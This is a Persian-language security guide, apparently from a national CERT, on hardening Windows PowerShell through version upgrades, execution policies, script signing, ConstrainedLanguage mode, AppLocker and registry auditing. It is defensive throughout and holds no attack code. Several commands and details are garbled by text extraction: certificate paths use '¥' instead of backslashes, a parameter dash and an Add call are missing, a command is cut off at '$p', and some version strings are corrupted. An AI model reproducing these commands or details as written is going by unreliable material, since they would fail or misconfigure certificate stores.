بسمه تعالى



مرکز مدیریت امداد و هماهنگی عملیات رخدادهای رایانه ای

راهنمای امنسازی پاورشل در ویندوز



مقدمه

امنسازی پاورشل در سیستمعامل ویندوز از اهمیت زیادی برخوردار است زیرا پاورشل علاوه بر آن که ابزاری برای نوشتن اسکریپتهای مختلف است، یک شِل خط فرمان هم میباشد. این ابزار، دسترسی نامحدود به منابع سیستمعامل ویندوز را فراهم کرده و میتواند برنامههایی نظیر Exchange را خودکار کند. از این رو مهاجمان از پاورشل در حملات خود بهصورت گسترده بهرهبرداری میکنند. بنابراین ضروری است از روشهایی برای مقابله با بهرهبرداری از پاورشل در حملات مهاجمان استفاده شود.

یکی از روشهای اولیه که برای مقابله بهرهبرداری از پاورشل به ذهن میرسد، مسدود کردن کامل پاورشل در سیستم است؛ اما به دلیل این که پاورشل ابزار قدرتمند مورد استفاده بسیاری از ادمینها است این امر ادمین سیستم را با محدودیت مواجه میکند. بنابراین به جای مسدودسازی کامل پاورشل، بهترین راهکار استفاده از ماژولهای خود پاورشل و تنظیمات امن پاورشل است.

در این گزارش به معرفی روشهایی برای امنسازی پاورشل میپردازیم. در بخش اول اهمیت بهروزرسانی پاورشل و نحوهی غیرفعال کردن نسخههای قبلی آن بیان شده است. در بخش دوم، شیوهی محدود کردن اسکریپتهای اجرایی در پاورشل بیان شده است. با توجه به این که پاورشل پلتفرمی برای اجرای اسکرپتهای مختلف است، کاربران برای اجرای اسکریپتها و دسترسی به منابع سیستمی آزاد هستند. بنابراین محدود کردن اجرای اسکریپتها در پاورشل توسط کاربران غیرقابل اعتماد، از اهمیت بسیار بالایی برای حفظ امنیت سیستمعامل ویندوز برخوردار است. در نهایت در بخش سوم نحوهی جمع آوری لاگهای مختلف پاورشل و نظارت و بررسی گزارشها و لاگهای آن بیان شده است. با استفاده از این روش میتوان استفادههای مخرب از پاورشل را شناسایی کرد. همچنین با توجه به حساسیت اطلاعات ذخیره شده در لاگها، روش رمزنگاری و ذخیره امن لاگها در این بخش شرح داده شده است. در بخش

مدیران و کارشناسان IT و کاربران سیستمعامل ویندوز میتوانند با استفاده از این راهنما به امنسازی سیستم خود بپردازند. هنگامی که پاورشل به درستی تنظیم و پیکربندی شود میتواند برای رسیدگی به رخدادهای سیستم، خودکارسازی وظایف، بررسی و رصد فعالیتهای سایبری و موارد مشابه مفید باشد.

روشهای امنسازی پاورشل

در این بخش نحوهی امنسازی پاورشل در سیستمعامل ویندوز بررسی میشود.

۱–۱ بهروزرسانی پاورشل

بهتر است بهجای مسدودسازی و حذف کامل پاورشل برای امنسازی از ویژگیهای امنیتی آن استفاده شود. این ویژگی ها در نسخه ۵ به بالا ارتقا یافتهاند. به عنوان نمونه AMSI که قابلیت اسکن محتوای حافظه برای تشخیص اسکریپتهای بدخواه را دارد در نسخه ۲ فعال نیست. بنابراین ضروری است که پاورشل به آخرین نسخه موجود بهروزرسانی شود. لازم به ذکر است نسخه ۵ به طور پیش فرض در سیستم عاملهای ویندوز ۱۰ و ۱۱ نصب شده است.

به منظور بررسی نسخه پاورشل نصب شده بر روی سیستم از دستور زیر استفاده میشود:

\$PSVersionTable.PSVersion

نمونهای از خروجی اجرای این دستور در شکل ۱ نمایش داده شده است. در این سیستم، پاورشل نسخه ۲ نصب شده است.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Windows PowerShell Copyright (C) 2009 Microsoft Corporation. All
PS C:\Users\win7> \$PSVersionTable.PSVersion
Major Minor Build Revision
20 -1 -1

شکل ۱. اطلاع از نسخه پاورشل نصب شده در سیستم

درصورت قدیمی بودن نسخه پاورشل، میبایست آن را بهروزرسانی کرد. برای ارتقای نسخه پاورشل در ابتدا لازم است که NET Framework **4.5.2** که WMF **5.1** یا بالاتر بر روی سیستم نصب شده باشد. سپس میبایست فریمورک MMF **5.1** را از طریق لینک <u>https://www.microsoft.com/en-us/download/details.aspx?id=54616</u> دانلود و نصب کرد. قسمتی از مراحل نصب این فریمورک در شکل ۲ نمایش داده شده است.

4	Downlo	ad and Install Updates		×
	لی ال	Read these license terms (1 of You need to accept the license terms before for Windows (KB3191566)	of 1) ore installing updates.	
	WIND PROD PLEAS this su system "softy The like suppo www.	OWS MANAGEMENT FRAMEWORK 5.1 FO UCTS E NOTE: Microsoft Corporation (or based applement to you. You may use it with ead n products software on which it installs (fo vare"). You may not use the supplement if rense terms for the software apply to you rt services for the supplement as describe support.microsoft.com/common/internatio	R MICROSOFT OPERATING SYSTEM on where you live, one of its affiliates) licenses h validly licensed copy of Microsoft operating or which this supplement is applicable) (the 'you do not have a license for the software. r use of this supplement. Microsoft provides d at nal.aspx.	*
	Printab	le version	I Decline I Accept Ca	incel

شكل ٢. نصب WMF 5.1

پس از انجام عملیات نصب، پاورشل با موفقیت به نسخه ۵ ارتقا مییابد. نتیجه اجرای دستور تعیین نسخه پاورشل در شکل ۳ نمایش داده شده است.

🚬 Wind	lows Powe	Shell	
Window Copyri	s Power ght (C)	Shell 2016 M	icrosoft Corporation. A
PS C:\	Users∖w	in7> \$P	SVersionTable.PSVersion
Major	Minor	Build	Revision
5	1	14409	1005

شکل ۳. پاورشل به روزرسانی شده

علاوه بر ارتقای پاورشل، لازم است که پاورشل نسخهی ۲ به صورت کامل از سیستم حذف شود. بدین منظور میتوان از دستور زیر در پاورشل استفاده کرد:

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

همچنین میتوان برای غیرفعال کردن پاورشل نسخهی ۲ از مسیر زیر در سیستمعاملهای ویندوز ۸ و ویندوز ۱۰ استفاده کرد (شکل ۴):

control panel > Programs and Features> Turn Windows-Features on or off



شکل ۴. غیرفعال کردن PowerShell نسخه ۲

1-۲ محدودسازی اجرای اسکریپتها

۱−۲−۱ تنظیم سیاست اجرایی اسکریپتها

سیاست اجرایی، یکی از ویژگیهای پاورشل است که شرایط اجرای اسکریپتها در پاورشل را مشخص میکند. در سیستم عامل ویندوز، میتوان برای کاربر جاری، رایانه محلی یا یک نشست خاص، سیاست اجرایی تنظیم کرد. سیاستهای اجرایی پاورشل عبارتند از:

execution policy'

- **AllSigned** در این سیاست فقط اسکریپتهای امضا شده اجازه اجرا دارند. این اسکریپتها شامل اسکریپتهای محلی ویندوز هستند. در این سیاست تمامی اسکریپتهای داخلی و دانلود شده از اینترنت برای اجرا نیازمند امضا شدن هستند و پیش از اجرای اسکریپت از کاربر خواسته می شود تأیید کند که آیا به منتشر کننده اسکریپت اعتماد دارد یا خیر.
- Bypass: در این سیاست، اجرای همه انواع اسکریپتها بدون هیچ هشدار و تأییدی از سمت کاربران امکانپذیر
 است. این سیاست عمدتاً برای پیکربندیهایی تنظیم شده که یک اسکریپت پاورشل در یک برنامه بزرگتر جاسازی شده است.
- RemoteSigned این سیاست به طور پیش فرض در سیستم عاملهای ویندوز سرور تنظیم شده است. در این سیاست، اسکریپتهای نوشته شده در رایانه محلی برای اجرا شدن نیازی به امضاء ندارند اما برای اجرای اسکریپتهای دانلود شده از اینترنت میبایست اسکریپت از منتشر کنندههای قابل اعتماد امضای دیجیتال شده باشد.
- **Restricted** این سیاست به طور پیش فرض در سیستم عاملهای ویندوزی کلاینتی تنظیم شده است و اجازه اجرای اسکریپتها را نمی دهد اما فرمانها به صورت تکی قابلیت اجرا شدن دارند.
 - Undefined: در محدوده فعلى هيچ سياست اجرايي تنظيم نشده است.
 - Unrestricted؛ در این سیاست همه اسکریپتها بدون هیچ محدودیتی اجازهی اجرا شدن دارند.

سیاست اجرایی مورد ترجیح برای مراقبت از اسکریپتها، استفاده از سیاست اجرایی AllSigned است.

محدوده های زیر برای تنظیم سیاستهای اجرایی در پاورشل وجود دارند:

- MachinePolicy: در این محدوده، سیاست اجرایی توسط group policy، برای همه کاربران رایانه تنظیم می شود.
- UserPolicy: در این محدوده، سیاست اجرایی توسط group policy، فقط برای کاربر جاری رایانه تنظیم می شود.

scope^r

- Process: در این محدوده، سیاست اجرایی فقط برای نشست فعلی پاورشل تنظیم میشود.
- CurrentUser در این محدوده، سیاست اجرایی فقط برای کاربر جاری رایانه تنظیم می شود.
 - Local Machine: در این محدوده، سیاست اجرایی برای همه کاربران رایانه تنظیم می شود.

برای مشاهده سیاست اجرایی نشست فعلی پاورشل میتوان از دستور زیر استفاده کرد:

Get-ExecutionPolicy

برای مشاهده تمامی سیاستهای اجرایی تنظیم شده نیز میتوان از دستور زیر استفاده کرد:

Get-ExecutionPolicy -list

خروجی اجرای این دستور در شکل ۵ نمایش داده شده است.

🔀 Windows Powe	rShell
Scope ExecutionPolicy	
 MachinePolicy	Undefined
UserPolicy	Undefined
Process	Undefined
CurrentUser	Undefined
LocalMachine	RemoteSigned

شکل ۵. مشاهده تمامی سیاستهای اجرایی

برای تغییر در سیاست اجرایی از دستور زیر استفاده می شود:

Set-ExecutionPolicy "policy-value"

برای نمونه:

Set-ExecutionPolicy AllSigned

برای تعیین محدوده سیاست اجرایی میتوان در این دستور از پارامتر Scope- استفاده کرد. برای نمونه:

Set-ExecutionPolicy AllSigned -Scope CurrentUser

تفاوت اجرای یک اسکریپت که با استفاده از دو سیاست اجرایی Restricted و AllSigned در رایانه به صورت محلی نوشته شده در شکل ۶ نمایش داده شده است. در هر دو حالت اسکریپت اجرا نشده است؛ در حالت Restricted دلیل اجرا نشدن، غیرفعال بودن کلی اجرای اسکریپت در سیستم و در حالت AllSigned امضا نشدن اسکریپت دلیل عدم اجرا بوده است.

PS C:\Users\win7\Desktop> .\myscript.ps1
<pre>\myscript.ps1 : File C:\Users\win?\Desktop\myscript_ps1 cannot be loaded</pre>
because running scripts is disabled on this system. For more information, see
about Execution Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 chart1
+ GategoryInfo SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorld : UnauthorizedAccess
PS C:\Users\win7\Desktop> Set-ExecutionPolicy -ExecutionPolicy AllSigned -Force
PS C:\Users\win7\Desktop> .\myscript.ps1
<pre>\muscrint.ns1 : File C:\lsers\win7\Deskton\muscrint.ns1 cannot be loaded. The</pre>
file C:\llesue\uin2\Deskton\musewint usi is not digitally signed You cannot
The G. Osers with beskup Myserip. Bit is not digitally signed. Tou cannot
run this script on the current system. For more information about running
scripts and setting execution policy, see about_Execution_Policies at
http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\muscrint.ns1
+ Categonulpfo · SecurituEmpon: (:) [] BSSecurituEvecontion
- SecurityErer (
+ rullyyualifiedErroria : unauthorizeaHccess

شكل ۶. تفاوت دو سياست اجرايي allsigned و

علاوه بر قابلیت تنظیم سیاستهای اجرایی از طریق خط فرمان، قابلیت تنظیم سیاست اجرایی به شیوه گرافیکی نیز فراهم است. بدین منظور بایستی مراحل زیر را طی نمود:

- ۱. در خط فرمان یا پاورشل، دستور «gpedit.msc» وارد شود تا Group Policy Editor باز شود.
- Computer Configuration > Administrative Templates > Windows Components > ۲. مراجعه به مسیر ۲. Windows PowerShell
- ۳. در پنجره سمت راست روی گزینه Turn on Scrip Execution دوبار کلیک کرده و سپس در پنجره ی نمایش داده شده گزینه Enabled انتخاب شود.
 - ۴. در پارامتر Execution Policy سیاست Allow only Signed Scripts را انتخاب و تایید کرد (شکل ۷).

🐓 Turn on Script Exe	cution				D
Turn on Script Ex	ecution		Previous Setting	Next Setting	
 Not Configured Enabled Disabled 	Comment: Supported on:	At least Microsoft Window	s 7 or Windows Server 2	008 family	
Options:					Help:
Execution Policy	illow only signed s	ripts			This policy setting lets you configure the script execution policy, controlling which scripts are allowed to run. If you enable this policy setting, the scripts selected in the drop-down list are allowed to run. The "Allow only signed scripts" policy setting allows scripts to execute only if they are signed by a trusted publisher. The "Allow local scripts and remote signed scripts" policy setting allows any local scrips to run; scripts that originate from the Internet must be signed by a trusted publisher. The "Allow all scripts" policy setting allows all scripts to run. If you disable this policy setting, no scripts are allowed to run. Note: This policy setting, no scripts are allowed to run. Note: This policy setting exists under both "Computer Configuration" and "User Configuration" in the Local Group Policy Editor. The "Computer Configuration" has precedence over "User Configuration." If you disable or do not configure this policy setting, it reverts to a per-machine preference setting; the default if that is not configured in "No scripts allowed."

شکل ۷. فعالسازی Turn on Script Execution

۲-۲-۱ امضای اسکریپتهای پاورشل

در صورتی که به دلایل امنیتی نیازی به اجرای کدهای اسکریپتی در پاورشل از هر منبعی نباشد، میتوان اجرای اسکریپتها را به منابع شناختهشده و قابل اعتماد محدود کرد. بدین منظور با تنظیم سیاست مناسب میتوان تعیین کرد که تنها اسکریپتهای امضا شده با یک گواهی^۳خاص توانایی اجرا در پاورشل را داشته باشند. برای امضای اسکریپت در ابتدا نیاز به یک گواهی است. یکی از روشهای تولید گواهی در ادامه معرفی شده است.

دستور العمل تولید گواهی برای امضای اسکریپت:

۱. در ابتدا میبایست، پلتفرم windows SDK از طریق یکی از دو لینک زیر دانلود و در سیستم نصب شوند:

• <u>https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/</u>

https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

۲. سپس مسیر SDK به متغیرهای محیطی سیستم اضافه شود (شکل ۸). SDK در ویندوز ۷ و ویندوز ۱۰ به ترتیب در مسیرهای زیر قرار گرفته است:

• C:\Program Files\Microsoft SDKs\Windows\vv.100000

Certificate"

• C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\

system roperties			23
Computer Name Hardw	are Advanced	System Protection	n Remote
Environment Variable	s		23
Edit System Varia	ble		×
Variable name: Variable value:	Path 'am Files\Mi	crosoft SDKs\Wind	ows\v7.1\Bin
System variables		OK	Cancel
System variables	Value	UK	Cancel
System variables Variable OS	Value Windows_NT		
System variables Variable OS Path	Value Windows_NT C:\Windows\s	ystem32;C:\Windo	ws;C:\
System variables Variable OS Path PATHEXT PROCESSOR_A	Value Windows_NT C:\Windows\s .COM;.EXE;.B x86	ystem32;C:\Windo	ws;C:\ E;.JS;
System variables Variable OS Path PATHEXT PROCESSOR_A	Value Windows_NT C:\Windows\s .COM;.EXE;.B x86 New	ystem32;C:\Windo AT;.CMD;.VBS;.VBI Edit	ws;C:\ E;.JS;

شکل ۸. افزودن SDK به متغیرهای محیطی سیستم

- ۳. سپس میبایست پاورشل در به عنوان ادمین اجرا شود.
- ۴. مرحله بعدی اجرای دستور زیر برای ایجاد یک CA محلی است:



- ۵. پس از اجرای دستور فوق، میبایست برای کلید خصوصی رمز عبور مناسبی تنظیم شود.
- ۶. حال بایستی دستور زیر را برای ایجاد گواهی با استفاده از CA ایجاد شده در مرحله قبلی اجرا نمود:

makecert -pe -n "CN=PowerShell User" -ss MY -a sha1 -eku 1.3.6.1.5.5.7.3.3 -iv root.pvk -ic root.cer

۷. در این مرحله مجدداً رمز عبور کلید خصوصی درخواست میشود.

به این ترتیب گواهی مورد نظر برای امضای اسکریپت تولید می شود. در نهایت می بایست اسکرپیت مورد نظر خود را با استفاده از گواهی تولید شده امضاء کرد. به این منظور لازم است دستورهای زیر اجرا شوند:

پس از اجرای این دستور مشاهده می شود که اسکریپت، امضا شده است. در شکل ۹ نمونه اسکریپت امضا شده نمایش داده شده است.

شکل ۹. اسکریپت امضاء شده

به این ترتیب میتوان اسکریپت امضا شده را در سیاست اجرایی AllSigned با موفقیت اجرا کرد (شکل ۱۰).

PS C:\Windows\system32> Set-ExecutionPolicy -ExecutionPolicy AllSigned -Force PS C:\Windows\system32> cd C:\Users\win7\Desktop PS C:\Users\win7\Desktop> .\myscript.ps1 Do you want to run software from this untrusted publisher? File C:\Users\win7\Desktop\myscript.ps1 is published by CN=PowerShell User and is not trusted on your system. Only run scripts from trusted publishers. [U] Never run [D] Do not run [R] Run once [A] Always run [?] Help (default is "D"):R Script is running!

شکل ۱۰. اجرای اسکرییت امضاء شده در حالت AllSigned

دستورالعمل زیر روشی برای تولید گواهی در ویندوز ۱۰ است. پس از اجرای دستورالعمل، یک گواهی با نام TESTCERT در سه مکان Trusted Root و Trusted Publishers store ، Personal certificate store و Trusted Root

دستورالعمل:

۱. ابتدا پنجرهی PowerShell با سطح دسترسی کاربر ادمین باز شود.

۲. دستورهای زیر در پاورشل اجرا شوند:

\$authenticode = New-SelfSignedCertificate -Subject "TESTCERT" -CertStoreLocation Cert:¥LocalMachine¥My Type CodeSigningCert
\$rootStore = [System.Security.Cryptography.X509Certificates.X509Store]::new("Root", "LocalMachine")
\$rootStore.Open("ReadWrite")
\$rootStore.Add(\$authenticode)
\$rootStore.Close()
\$publisherStore =
[System.Security.Cryptography.X509Certificates.X509Store]::new("TrustedPublisher", "LocalMachine")
\$publisherStore.Open("ReadWrite")
\$publisherStore.Close()
\$p

پس از اجرای دستورالعمل فوق، گواهی ایجاد شده است. برای بررسی صحت ایجاد گواهی میتوان از دستورهای زیر استفاده کرد: خروجی اجرای دستورها در شکل ۱۱ نمایش داده شده است. در این شکل، اطلاعات گواهی شامل Subject و Thumbprint قابل مشاهده است: PS Cert:\CurrentUser\root> <mark>Get-ChildItem</mark> Cert:\LocalMachine\My <mark>| Where-Object</mark> {\$_.Subject -eq | PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\My Thumbprint Subject 4B1041B1DA0770B41CC68C32C01372EDD0BEE3BC CN=TESTCERT PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root Thumbprint Subject 4B1041B1DA0770B41CC68C32C01372EDD0BEE3BC CN=TESTCERT P\$ Cert:\CurrentUser\root> <mark>Get-GhildItem</mark> Cert:\LocalMachine\TrustedPublisher | <mark>Where-Ohject</mark> {\$_.Subject -eq "CN-TESTCER] PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\TrustedPublisher Thumbprint Subject 4B1041B1DA0770B41CC68C32C01372EDD0BEE3BC CN=TESTCERT

Get-ChildItem Cert:¥LocalMachine¥My | Where-Object {\$_.Subject -eq "CN=TESTCERT"}
Get-ChildItem Cert:¥LocalMachine¥Root | Where-Object {\$_.Subject -eq "CN=TESTCERT"}

Get-ChildItem Cert:¥LocalMachine¥TrustedPublisher | Where-Object {\$_.Subject -eq "CN=TESTCERT"}

شکل ۱۱. تولید موفق گواهی

حال می توان برای امضا کردن اسکریپتها از گواهی ایجاد شده استفاده کرد. دستورهای لازم عبارتند از:

\$codeCertificate = Get-Childltem Cert:¥LocalMachine¥My | Where-Object {\$_.Subject -eq "CN=TESTCERT"}
Set-AuthenticodeSignature -FilePath E:¥myscript.ps1 -Certificate \$codeCertificate

پس از اجرای این دستور، اسکریپت با موفقیت امضا می شود. خروجی اجرای دستور در شکل ۱۲ نمایش داده شده است.

PS C:\Windows\system32> <mark>Set-Authenticode</mark> S	<mark>ignature</mark> -FilePath	E:\myscript.ps1	-Certificate	<pre>\$codeCertificate</pre>
Directory: E:\				
SignerCertificate	Status		Path	
4B1041B1DA0770B41CC68C32C01372EDD0BEE3BC	Valid		myscript	t.ps1

شکل ۱۲. امضای موفق اسکریپت

۲-۲-۳ محدودسازی نوع دستورهای قابل اجرا در پاورشل

یکی از مکانیزمهای امنیتی پاورشل، تنظیم Language Mode به حالت «ConstrainedLanguage» است. این حالت برای محدود کردن نوع دستورهایی استفاده می شود که توسط پاورشل اجرا می شوند. در حالت پیش فرض Language Mode مقدار «Full Language mode» دارد که در این حالت تمامی توابع و ماژول ها در پاورشل در دسترس هستند.

اجرای دستورالعمل از طریق خط فرمان:

۱. ابتدا می توان با استفاده از دستور زیر تنظیم Language Mode سیستم را بررسی نمود:

\$ExecutionContext.SessionState.LanguageMode

۲. سپس بایستی Language Mode به ConstrainedLanguage تغییر داده شود:

\$ExecutionContext.SessionState.LanguageMode = " ConstrainedLanguage "

```
در شکل ۱۳ تفاوت اجرای یک دستور پیش و پس از فعال کردن حالت constrainedLanguage نمایش داده شده است.
```



شکل ۱۳. محدود کردن نوع دستور قابل اجرا در پاورشل

محدودسازی از طریق Environment Variable:

۱. ابتدا بایستی از طریق جستجوی «environment» در جستجوی ویندوز، به پنجرهی Edit System

Environment Variables مراجعه نمود (شکل ۱۴).

System Properties				×
Computer Name Hardware Ad	dvanced S	ystem Protection	Remote	
You must be logged on as an A Performance Visual effects, processor sche	Administrator eduling, mem	to make most of th lory usage, and vir	nese changes. tual memory Settings	
User Profiles Desktop settings related to yo	our sign-in		Settings	
Startup and Recovery System startup, system failure	, and debug	ging information	Settings	
		Environme	nt Variables	
	ОК	Cancel	Apply	

شکل ۱۴. پنجره متغیرهای محیطی سیستم

۲. سپس یک متغیر محیطی سیستمی جدید با نام ______ PSLockdownPolicy و مقدار ۴ اضافه کرد (شکل ۱۵). با این کار پاورشل به حالت constrainedLanguage تنظیم می شود. برای بازگشت به حالت full language می بایست مقدار _______PSLockdownPolicy برابر ۸ تنظیم شود.

ronment Variable	25
New System Varia	able
Variable name: Variable value:	PSLockdownPolicy
	OK Cancel
System variables Variable	Value
System variables Variable PSLockdownP	Value
System variables Variable PSLockdownP ComSpec FP_NO_HOST_C. NUMBER_OF_P	Value 4 C:\Windows\system32\cmd.exe NO 1
System variables Variable PSLockdownP ComSpec FP_NO_HOST_C. NUMBER_OF_P	Value 4 C:\Windows\system32\cmd.exe NO 1 New Edit Delete

شکل ۱۵. محدودسازی پاورشل با استفاده از متغیرهای محیطی

AppLocker محدودسازی اسکریپتها با استفاده از استفاده از

AppLocker برنامهای برای کنترل اجرای برنامهها و فایلها توسط کاربران است که در **ویندوز ۱۰** تعبیه شده است. AppLocker قابلیت تنظیم اسکریپتهای قابل اجرا در سیستم را دارد. برای مسدود کردن اسکریپتها، میبایست قوانینی تعریف شوند تا اسکریپتها تنها از مسیر ویندوز و یا دایرکتوریهای برنامهها، اجازه اجرا داشته باشند. در این مسیرها کاربران توانایی ذخیره و تغییر فایلها را ندارند.

دستورالعمل:

- در ابتدا می ایست خط فرمان پاورشل در سطح ادمین اجرا شود.
- ۲. سپس دستور sc.exe config appidsvc start= auto اجرا شود تا پس از هر بار بوت سیستم قوانین تعریف شده اعمال شوند.
 - ۳. در خط فرمان یا پاورشل، دستور «gpedit.msc» وارد شود تا Group Policy Editor باز شود.
- Computer Configuration > Windows Setting > Security Setting > Application .۴
 .۴
 .۴
 .۰۴
 Control Policy > AppLocker

۵. در پنجره سمت راست روی گزینه Script rules کلیک راست شود. در این مرحله میتوان بر حسب نیاز از قوانین پیش فرض استفاده کرد یا قوانین جدیدی ایجاد کرد. در قوانین پیش فرض، اجازه اجرای اسکریپتهای موجود در مسیر فولدرهای windows و Program Files برای همه کاربران وجود دارد. همچنین کاربر ادمین میتواند تمامی اسکریپتها را اجرا کند.



شکل ۱۶. تعریف قانون در AppLocker

علاوه بر استفاده از قوانین پیش فرض، می توان قوانین جدیدی ایجاد کرد. در مرحله اول تعریف قانون، می بایست مشخص شود که این قانون برای کدام کاربران اعمال شود. همچنین می بایست تعیین کرد که سیاست بر اجازه دادن است (Allow) یا ممنوع کردن (Deny). قوی ترین شکل امنیت، زمانی است که یک سیستم از AppLocker در حالت

Allow Mode استفاده می کند، جایی که فقط برنامههای شناخته شده خاص مجاز به اجرا هستند.

18

Create Script Rules Permissions	
Before You Begin Permissions Conditions Publisher	Select the action to use and the user or group that this rule should apply to. An allow action permits affected files to run, while a deny action prevents affected files from running.
Exceptions Name	Action:
	User or group: Everyone Select

شکل ۱۷. مرحله اول در تعریف قانون جدید

در مرحله بعدی میبایست مسیر اسکریپتهای قابل اجرا در سیستم را مشخص کرد.

Create Script Rules Conditions	
Before You Begin Permissions Conditions	Select the type of primary condition that you would like to create.
Path Exceptions Name	 Publisher Select this option if the application you want to create the rule for is signed by the software publisher. Path Create a rule for a specific file or folder path. If you select a folder, all files in the folder will be affected by the rule. File hash Select this option if you want to create a rule for an application that is not signed.

شکل ۱۸. نوع قانون ایجاد شده

Create Script Rules	
Path	
Before You Begin Permissions Conditions	Select the file or folder path that this rule should affect. If you specify a folder path, all files underneath that path will be affected by the rule.
Path	Daths
Exceptions	Patn:
Name	
	Browse Files Browse Folders

شکل ۱۹. تعیین مسیر اجرای اسکریپتها

به عنوان نمونه در شکل ۲۰ یک قانون برای مجوزدهی به اجرای اسکریپتها فقط از مسیر "c:\trusted" تعریف شده

است.

Local Computer Policy	Action	User	Name	Condition	Exceptions
🗸 👰 Computer Configuration		Evenyone	%OSDRIVE%\trusted*	Path	
> 🧮 Software Settings		Everyone	//////////////////////////////////////	- den	
✓ I Windows Settings					
> 📔 Name Resolution Policy					
Scripts (Startup/Shutdown)					
> 🚔 Deployed Printers					
🗸 🚡 Security Settings					
> 🔀 Account Policies					
> 🔀 Local Policies					
> 🧮 Windows Defender Firewall with					
📔 Network List Manager Policies					
> 🧮 Public Key Policies					
> Software Restriction Policies					
Application Control Policies					
✓ □ AppLocker					
> 📻 Executable Rules					
> \overline Windows Installer Rules					
Script Rules					

شکل ۲۰.نمونه یک قانون تعریف شده

۵-۲-۱ مراقبت از سیاستهای اجرایی

رجیستری ویندوز حاوی تنظیمات حیاتی امنیتی متعددی است که مهاجم میتواند آنها را دستکاری کند تا مکانیزم های حفاظتی مهم نادیده گرفته شوند. به عنوان مثال، یک مهاجم میتواند از آن برای دور زدن group policy سوء استفاده کند تا علی رغم تنظیم کردن ذخیره لاگهای پاورشل، پس از فعالیت وی اثری در لاگها دیده نشود. به این منظور ابتدا لازم است Registry Auditing فعال سازی شود و سپس برای کلید رجیستری مرتبط با سیاستهای تنظیم شده برای پاورشل دسترسی های لازم تنظیم شود. به منظور فعال سازی Registry Auditing میتوان طبق دستورالعمل زیر اقدام نمود:

دستورالعمل:

- ۱. در خط فرمان یا پاورشل، دستور «gpedit.msc» وارد شود تا Group Policy Editor باز شود.
- ۳. در پنجرهی سمت راست روی گزینهی Audit Registry دوبار کلیک کرده و سپس در پنجرهی نمایش داده شده گزینهی Configure the following audit events و سپس Success انتخاب شود.
 - ۴. در نهایت میبایست دستور gpupdate را اجرا کرد.

Juccal Group Policy Editor				- 0	×	
File Action View Help					-	
← ⇒ 2 📧 🔒 🛛 🖬	Audit Registry Properties			×		
Cripts (Startup/Shutdown) Cripts (Startup/Shutdown) Cripts (Startup/Shutdown) Cripts (Startup/Shutdown) Cripts Cripts (Startup/Shutdown) Cripts Cripts (Startup) Cripts Cripts (Startup) Cripts	Subcategory Audit Application Generated Audit Certification Services Audit Certification Services Audit File Share Audit File System Audit File System Audit File System Audit File System Audit File System Audit Handle Manipulation Audit Annel Object Audit Cherol Object Access Events Audit Nemovable Storage Audit Kamovable Storage Audit Central Access Policy Staging	Audit Events Not Configured Not Configured	Policy Eplain Audt Registry Configure the following audt events: Configure the follow			Annki
			ОК	Cancel		Apply

شكل ۲۱. فعالسازي Audit Registery

در ادامه لازم است که دسترسیها به کلید رجیستری مرتبط با سیاستهای پاورشل تنظیم شود. به این منظور میبایست

```
طبق دستورالعمل زیر اقدام کرد:
دستورالعمل:
```

- ۱. در خط فرمان یا پاورشل عبارت "regedit" وارد شود.
- ۲. به مسیر < HKEY_LOCAL_MACHINE > SOFTWARE > Policies > Microsoft > Windows > ۲. به مسیر PowerShell
- ۳. روی PowerShell کلیک راست کرده و از طریق گزینهی Permissions در پنجرهی باز شده، گزینهی Advanced را انتخاب کرد.
 - ۴. در پنجرهی باز شده، زیر قسمت Auditing گزینهی Add را انتخاب کرد.
- ۵. سپس با انتخاب Principle، مانند Everyone گزینههای Set Value ، Query Value و Delete را ا

Registry Editor	orites Help						- 0
Computer\HKEV_LOCA	L_MACHINE\SOFTWA	ARE\Policies\Microsoft\Windows	PowerShell Name		Туре	Data	
- Pi > Pi > Sj - Ti	eerDist eernet ower ystemCertificates PM Vindows		(Default) EnableScripts		REG_SZ REG_DWORD REG_SZ	(value not set) 0x00000001 (1) RemoteSigned	
	AppPrivacy Appx	Permissions for PowerShell	×				
1	bills CurrentVession DataCollection DataCollection DriveSearching EventLog FCI IPSec NetworkConnecti NetworkConnecti NetworkProvider	Group or user names:					
		Christensching Ext.APPLCATION PACKAGES DriverSearching S-1-15-3-1024-1065365396-1281604716-3511738428-1654 EnhancedStoragel S.Authenticated Users EventLog S-5-STEM		Advanced Security Settin	gs for PowerShell		-
		Administrations (WIN10-1809-E	(N\Administrators)	Owner: SYSTEM	Change		
		Permissions for ALL APPLICATION PACKAGES	Add Remove Allow Deny	Permissions Audit	ing Effective Ac	ccess	
	OneDrive PowerShell ScriptBlockLog Transcription safer	Full Control Read Special permissions		Auditing entries:	, double-click an au	Access Inherity	ed from Applies to
1. A. L. A.	SettingSync SrpV2 System WcmSvc Windows Saach	For special permissions or advance click Advanced.	d settings, Advanced				
	WindowsUpdate WinRM	ок	Cancel Acoly	~			
	WorkplaceJoin WSDAPI			Add	e Yew	ĺ	
- W	Vindows Advanced Th Vindows Defender Vindows NT Vindows Firewall	veat Protection		Disable inheritance	auditing entries with	inheritable auditing entries from th	is object
> Mozi	VindowsStore						OK Cancel

شکل ۲۲. تعیین دسترسی به Registry Key

Auditing E	ntry for PowerShell					×
Principal:	Everyone Select a principal					
Туре:	Success	\sim				
Applies to:	This key and subkeys	~				
Advanced p	ermissions:			Show I	pasic perm	nissions
	Full Control		Create Link			
Г	Query Value		🖌 Delete			
	Set Value		Write DAC			
	Create Subkey		Write Owner			
	Enumerate Subkeys		Read Control			
	Notify					
	by these surfiting settings to objects and/or co	ntainers within this	container		Clea	r all
	ing these additing settings to objects and/or co	nuamers within this	container			
				OK	(Cancel

شکل ۲۳. تعیین دسترسی به Registry Key

